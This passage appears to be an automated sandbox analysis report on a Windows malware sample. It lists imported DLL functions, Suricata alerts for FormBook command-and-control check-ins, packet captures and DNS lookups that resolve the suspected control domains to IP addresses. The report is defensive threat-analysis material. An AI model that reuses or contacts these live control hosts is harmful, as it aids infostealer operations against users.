                                                        RT_MANIFEST0x1251180x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                                        Imports

                                                        DLLImport
                                                        WSOCK32.dllWSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
                                                        VERSION.dllGetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
                                                        WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                        COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                                        MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                        WININET.dllInternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
                                                        PSAPI.DLLGetProcessMemoryInfo
                                                        IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                        USERENV.dllDestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
                                                        UxTheme.dllIsThemeActive
                                                        KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
                                                        USER32.dllAdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
                                                        GDI32.dllStrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
                                                        COMDLG32.dllGetOpenFileNameW, GetSaveFileNameW
                                                        ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
                                                        SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                        ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
                                                        OLEAUT32.dllLoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

                                                        Possible Origin

                                                        Language of compilation systemCountry where language is spokenMap
                                                        EnglishGreat Britain

                                                        Network Behavior

                                                        Suricata IDS Alerts

                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                        2024-12-02T10:55:51.395918+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.204976213.248.169.4880TCP
                                                        2024-12-02T10:55:51.395918+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.204976623.225.159.4280TCP
                                                        2024-12-02T10:57:07.917762+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.11.2049755108.179.253.19780TCP
                                                        2024-12-02T10:57:07.917762+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.11.2049755108.179.253.19780TCP
                                                        2024-12-02T10:57:23.500287+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.2049756108.181.189.780TCP
                                                        2024-12-02T10:57:26.483576+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.2049757108.181.189.780TCP
                                                        2024-12-02T10:57:28.957369+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.2049758108.181.189.780TCP
                                                        2024-12-02T10:57:31.657489+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.11.2049759108.181.189.780TCP
                                                        2024-12-02T10:57:31.657489+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.11.2049759108.181.189.780TCP
                                                        2024-12-02T10:57:37.243294+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.204976013.248.169.4880TCP
                                                        2024-12-02T10:57:39.970787+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.204976113.248.169.4880TCP
                                                        2024-12-02T10:57:45.420018+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.11.204976313.248.169.4880TCP
                                                        2024-12-02T10:57:45.420018+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.11.204976313.248.169.4880TCP
                                                        2024-12-02T10:58:00.112418+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.204976423.225.159.4280TCP
                                                        2024-12-02T10:58:02.793655+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.11.204976523.225.159.4280TCP
                                                        2024-12-02T10:58:08.901574+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.11.204976723.225.159.4280TCP
                                                        2024-12-02T10:58:08.901574+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.11.204976723.225.159.4280TCP

                                                        Network Port Distribution

                                                        TCP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 2, 2024 10:57:07.419698000 CET4975580192.168.11.20108.179.253.197
                                                        Dec 2, 2024 10:57:07.604114056 CET8049755108.179.253.197192.168.11.20
                                                        Dec 2, 2024 10:57:07.604471922 CET4975580192.168.11.20108.179.253.197
                                                        Dec 2, 2024 10:57:07.612091064 CET4975580192.168.11.20108.179.253.197
                                                        Dec 2, 2024 10:57:07.796660900 CET8049755108.179.253.197192.168.11.20
                                                        Dec 2, 2024 10:57:07.863846064 CET8049755108.179.253.197192.168.11.20
                                                        Dec 2, 2024 10:57:07.917762041 CET4975580192.168.11.20108.179.253.197
                                                        Dec 2, 2024 10:57:12.864873886 CET8049755108.179.253.197192.168.11.20
                                                        Dec 2, 2024 10:57:12.865323067 CET4975580192.168.11.20108.179.253.197
                                                        Dec 2, 2024 10:57:12.866797924 CET4975580192.168.11.20108.179.253.197
                                                        Dec 2, 2024 10:57:13.051014900 CET8049755108.179.253.197192.168.11.20
                                                        Dec 2, 2024 10:57:23.070198059 CET4975680192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:23.312539101 CET8049756108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:23.312849045 CET4975680192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:23.323709011 CET4975680192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:23.493597031 CET8049756108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:23.499804974 CET8049756108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:23.499944925 CET8049756108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:23.499959946 CET8049756108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:23.499972105 CET8049756108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:23.500287056 CET4975680192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:24.836019039 CET4975680192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:25.853718996 CET4975780192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:26.024050951 CET8049757108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:26.024386883 CET4975780192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:26.035235882 CET4975780192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:26.472533941 CET8049757108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:26.483231068 CET8049757108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:26.483280897 CET8049757108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:26.483311892 CET8049757108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:26.483576059 CET4975780192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:26.484076977 CET8049757108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:26.484275103 CET4975780192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:27.538568020 CET4975780192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:28.556351900 CET4975880192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:28.732095003 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.732508898 CET4975880192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:28.745503902 CET4975880192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:28.745548964 CET4975880192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:28.935684919 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.935697079 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.956459045 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.957156897 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.957170963 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.957299948 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.957309008 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:28.957369089 CET4975880192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:29.424757957 CET8049758108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:31.274802923 CET4975980192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:31.477386951 CET8049759108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:31.477803946 CET4975980192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:31.484735966 CET4975980192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:31.654603004 CET8049759108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:31.657201052 CET8049759108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:31.657221079 CET8049759108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:31.657229900 CET8049759108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:31.657489061 CET4975980192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:31.659703970 CET4975980192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:32.193792105 CET4975980192.168.11.20108.181.189.7
                                                        Dec 2, 2024 10:57:32.506213903 CET8049759108.181.189.7192.168.11.20
                                                        Dec 2, 2024 10:57:36.854782104 CET4976080192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:37.043735027 CET804976013.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:37.043987036 CET4976080192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:37.054807901 CET4976080192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:37.242901087 CET804976013.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:37.242964029 CET804976013.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:37.243294001 CET4976080192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:38.567337990 CET4976080192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:38.757724047 CET804976013.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:39.585097075 CET4976180192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:39.772687912 CET804976113.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:39.772886038 CET4976180192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:39.783850908 CET4976180192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:39.970503092 CET804976113.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:39.970516920 CET804976113.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:39.970787048 CET4976180192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:41.285516024 CET4976180192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:41.471824884 CET804976113.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:42.303246975 CET4976280192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:42.493048906 CET804976213.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:42.493262053 CET4976280192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:42.504777908 CET4976280192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:42.504832029 CET4976280192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:42.504878044 CET4976280192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:42.693485975 CET804976213.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:42.693495989 CET804976213.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:42.693597078 CET804976213.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:42.693605900 CET804976213.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:42.693612099 CET804976213.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:42.693619013 CET804976213.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:45.036967039 CET4976380192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:45.224807978 CET804976313.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:45.225099087 CET4976380192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:45.232062101 CET4976380192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:45.418832064 CET804976313.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:45.419689894 CET804976313.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:45.419737101 CET804976313.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:45.420017958 CET4976380192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:45.422177076 CET4976380192.168.11.2013.248.169.48
                                                        Dec 2, 2024 10:57:45.608824015 CET804976313.248.169.48192.168.11.20
                                                        Dec 2, 2024 10:57:59.622623920 CET4976480192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:57:59.781640053 CET804976423.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:57:59.781914949 CET4976480192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:57:59.792789936 CET4976480192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:57:59.951886892 CET804976423.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:57:59.951904058 CET804976423.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:57:59.952708006 CET4976480192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:00.112232924 CET804976423.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:00.112245083 CET804976423.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:00.112417936 CET4976480192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:01.296721935 CET4976480192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:02.314397097 CET4976580192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:02.473738909 CET804976523.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:02.474412918 CET4976580192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:02.496741056 CET4976580192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:02.634023905 CET804976523.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:02.634277105 CET4976580192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:02.655844927 CET804976523.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:02.793464899 CET804976523.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:02.793479919 CET804976523.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:02.793654919 CET4976580192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:04.703008890 CET4976580192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:05.720122099 CET4976680192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:05.877491951 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:05.877746105 CET4976680192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:05.889460087 CET4976680192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:06.035396099 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:06.035737991 CET4976680192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:06.035815954 CET4976680192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:06.046562910 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:06.192923069 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:06.192930937 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:06.193360090 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:06.193367958 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:06.193480968 CET804976623.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:06.193557978 CET4976680192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:06.193557978 CET4976680192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:08.422461033 CET4976780192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:08.581954956 CET804976723.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:08.582180977 CET4976780192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:08.589162111 CET4976780192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:08.741583109 CET804976723.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:08.741897106 CET4976780192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:08.748598099 CET804976723.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:08.901262045 CET804976723.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:08.901307106 CET804976723.225.159.42192.168.11.20
                                                        Dec 2, 2024 10:58:08.901573896 CET4976780192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:08.902376890 CET4976780192.168.11.2023.225.159.42
                                                        Dec 2, 2024 10:58:09.061830997 CET804976723.225.159.42192.168.11.20

                                                        UDP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 2, 2024 10:57:07.115823984 CET5317553192.168.11.201.1.1.1
                                                        Dec 2, 2024 10:57:07.414127111 CET53531751.1.1.1192.168.11.20
                                                        Dec 2, 2024 10:57:22.887001038 CET5895253192.168.11.201.1.1.1
                                                        Dec 2, 2024 10:57:23.068033934 CET53589521.1.1.1192.168.11.20
                                                        Dec 2, 2024 10:57:36.665776968 CET6371653192.168.11.201.1.1.1
                                                        Dec 2, 2024 10:57:36.852334976 CET53637161.1.1.1192.168.11.20
                                                        Dec 2, 2024 10:57:50.427102089 CET5307553192.168.11.201.1.1.1
                                                        Dec 2, 2024 10:57:50.606611967 CET53530751.1.1.1192.168.11.20
                                                        Dec 2, 2024 10:57:50.607016087 CET5307553192.168.11.209.9.9.9
                                                        Dec 2, 2024 10:57:50.813429117 CET53530759.9.9.9192.168.11.20
                                                        Dec 2, 2024 10:57:58.878051043 CET5057953192.168.11.201.1.1.1
                                                        Dec 2, 2024 10:57:59.620557070 CET53505791.1.1.1192.168.11.20

                                                        DNS Queries

                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                        Dec 2, 2024 10:57:07.115823984 CET192.168.11.201.1.1.10xbf19Standard query (0)www.bloodbalancecaps.shopA (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:22.887001038 CET192.168.11.201.1.1.10x5678Standard query (0)www.jalan2.onlineA (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:36.665776968 CET192.168.11.201.1.1.10xe14cStandard query (0)www.avalanchefi.xyzA (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:50.427102089 CET192.168.11.201.1.1.10xb8f6Standard query (0)www.02760.wangA (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:50.607016087 CET192.168.11.209.9.9.90xb8f6Standard query (0)www.02760.wangA (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:58.878051043 CET192.168.11.201.1.1.10x9d0fStandard query (0)www.laohub10.netA (IP address)IN (0x0001)false

                                                        DNS Answers

                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                        Dec 2, 2024 10:57:07.414127111 CET1.1.1.1192.168.11.200xbf19No error (0)www.bloodbalancecaps.shopbloodbalancecaps.shopCNAME (Canonical name)IN (0x0001)false
                                                        Dec 2, 2024 10:57:07.414127111 CET1.1.1.1192.168.11.200xbf19No error (0)bloodbalancecaps.shop108.179.253.197A (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:23.068033934 CET1.1.1.1192.168.11.200x5678No error (0)www.jalan2.onlinejalan2.onlineCNAME (Canonical name)IN (0x0001)false
                                                        Dec 2, 2024 10:57:23.068033934 CET1.1.1.1192.168.11.200x5678No error (0)jalan2.online108.181.189.7A (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:36.852334976 CET1.1.1.1192.168.11.200xe14cNo error (0)www.avalanchefi.xyz13.248.169.48A (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:36.852334976 CET1.1.1.1192.168.11.200xe14cNo error (0)www.avalanchefi.xyz76.223.54.146A (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:50.606611967 CET1.1.1.1192.168.11.200xb8f6Server failure (2)www.02760.wangnonenoneA (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:50.813429117 CET9.9.9.9192.168.11.200xb8f6Server failure (2)www.02760.wangnonenoneA (IP address)IN (0x0001)false
                                                        Dec 2, 2024 10:57:59.620557070 CET1.1.1.1192.168.11.200x9d0fNo error (0)www.laohub10.netr0lqcud7.nbnnn.xyzCNAME (Canonical name)IN (0x0001)false
                                                        Dec 2, 2024 10:57:59.620557070 CET1.1.1.1192.168.11.200x9d0fNo error (0)r0lqcud7.nbnnn.xyz23.225.159.42A (IP address)IN (0x0001)false
